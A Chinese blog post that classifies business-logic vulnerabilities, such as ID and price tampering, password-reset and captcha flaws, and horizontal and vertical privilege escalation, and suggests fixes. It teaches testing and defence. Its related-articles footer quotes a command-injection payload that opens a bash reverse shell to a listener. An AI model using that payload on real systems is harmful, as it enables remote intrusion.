首页 > 其他分享 >业务逻辑漏洞

业务逻辑漏洞

时间:2022-10-28 10:55:38浏览次数:45  
标签:逻辑 用户 业务 漏洞 权限 ID 越权

业务逻辑漏洞

逻辑漏洞,是由于代码逻辑是通过人的逻辑去判断的,每个人都有自己的思维,容易产生不同的想法,导致程序编写完以后会随着人的思维逻辑产生不足。

常见的逻辑漏洞

身份认证安全

  • 暴力破解
  • Cookie&Session
  • 加密测试

业务一致性安全

  • 手机号篡改
  • 邮箱和用户名更改
  • 订单ID更改
  • 商品编号更改
  • 用户ID篡改

业务数据篡改

  • 金额数据篡改
  • 商品数量篡改
  • 最大数限制突破
  • 本地JS参数修改

用户输入合规性

  • 注入
  • XSS
  • FUZZ

密码找回漏洞

  • 正常访问,不同找回方式,记录
  • 分析数据包,定位敏感信息
  • 分析找回机制
  • 修改数据包验证

验证码突破

  • 暴力破解
  • 时间、次数突破
  • 回显测试
  • 绕过测试

业务授权安全

  • 未授权访问
  • 越权测试

业务流程乱序

  • 顺序执行缺陷

业务接口调用

  • 恶意注册
  • 短信炸弹
  • 内容编辑

时效绕过测试

  • 时间刷新缺陷
  • 时间范围测试

如何挖掘逻辑漏洞

确定业务流程→寻找流程中可以被操控的环节→分析可以被操控环节能够产生的逻辑问题→尝试修改参数触发逻辑问题

逻辑漏洞分类

从越权的角度分析,分为水平越权、垂直越权和交叉越权三类

  1. 水平越权

水平越权是基于数据访问缺陷的一种常见漏洞。一般是由于服务器在用户访问数据时对用户身份校验不足导致的数据泄露。例如A和B都是某网站的普通用户,一般情况下都只能查看自己的资料,但是A可以通过某些手段(如修改参数)获取B的资料

  1. 垂直越权

垂直越权是基于URL访问缺陷的一种常见漏洞。操作是以URL请求的形式发往服务器,当服务器对URL发送人的身份校验不足时,就会造成垂直越权。比如,用户A可以提交一个URL请求删除/添加用户,而这其实是管理员才能拥有的权限。

  1. 交叉越权

就是前两者的综合。如果说水平越权是改变权限ID导致读取其他ID内容,垂直越权是改变权限等级做出高权限操作,那么交叉越权就是即改变权限ID又改变权限等级。

越权的修复

可以将ID设置为长度相同的随机字符串,或者是通过单项陷门函数加密的方式(Base64不是加密,是编码)保护鉴权ID。但是这种方式是最初级的,依然有很多其他方法绕过,比如从API获取用户健全ID列表、参数污染等防御方法。

比较好的修复方法是将用户的请求和用户的Cookie绑定,这样userId只能通过Session来获取,在面对越权时,开发者就不用每次考虑鉴权的问题。

标签:逻辑,用户,业务,漏洞,权限,ID,越权
From: https://www.cnblogs.com/blackclouds2810/p/16835065.html

相关文章

  • MybatisPlus实现逻辑删除
    逻辑删除:在表中设计一个标志位,约定0表示删除,1表示存在实现办法1.在表中添加标志位2.在该表对应的实体类中的属性上面,加上注解@TbaleLogic该注解默认0......
  • 企业业务沟通新选择,华为云会议支持全场景智能协作
    对于开会,想必大多数人都有很多想要吐槽的经历,比如下班刚上地铁,老板突然一个消息让回去开会,或者休息日被告知要去公司开会等,如果遇到规模较大的会议,会议组织者还需要预定时间......
  • 外贸客户复购的底层逻辑
    米贸搜总结了客户推荐客户的七个原因,你会发现哪种推荐可以长久,可以被复制。这七个客户推荐的原因是:第一,给你面子;第二,利益联结;第三,因为升职;第四,服务有温度;第五,你的性格和为人......
  • kali 漏洞篇-命令注入 学习笔记
    反弹shell在kali上使用nc监听端口nc-lvnp5555,在dvwaweb页面输入攻击payload: 127.0.0.1|bash-i>&/dev/tcp/172.16.1.2/55550>&1 命令注入常见函数eval(......
  • 零代码,让业务人员实现应用创造自由
    摘要:以汽车营销场景为例,从AppCube零代码和业务大屏入手,帮助开发者更好地理解AppCube低代码和零代码异同点,在实际使用时能更快选取更合适的工具能力,实现应用构建效率最大化......
  • 【Odoo】产品共享库存逻辑优化
    上海序说科技,专注于基于Odoo项目实施,实现企业数智化,助力企业成长。老韩头的开发日常,博客园分享(2022年前博文)背景客户在对接第三方的电商平台的时候,存在Odoo系统中配置......
  • 拯救IT“取数”的业务神器来了,比Excel厉害,零代码,还免费
    今天跟大家讲一个老生常谈又不得不谈的话题:IT部门和业务部门的配合。企业里这两个部门经常互相抱怨,业务部门抱怨IT部门不懂业务,花了大把钱做出来一堆没有价值的页面;IT部门则......
  • 华为云全球加速GA,助跨境企业云上业务通达
    近几年来,越来越多的国内公司开始涉足海外市场,其规模逐年增长,涉及国家和地区也日渐增多。虽然企业在海外很多地方部署了服务器资源,但是由于服务器数量少,分布分散等原因,导致服......
  • Apache SSI 远程命令执行漏洞
    ApacheSSI远程命令执行漏洞ssi简介SSI(服务器端包含)是放置在HTML页面中的指令,并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页......
  • PHP反序列化漏洞总结
    文章目录一、基础知识1、什么是反序列化漏洞:序列化与反序列化:1、序列化:2、反序列化:二、PHP魔法函数1、常见方法:2、安全问题:三、CTF中的反序列化例题一:例题二:四、靶场练......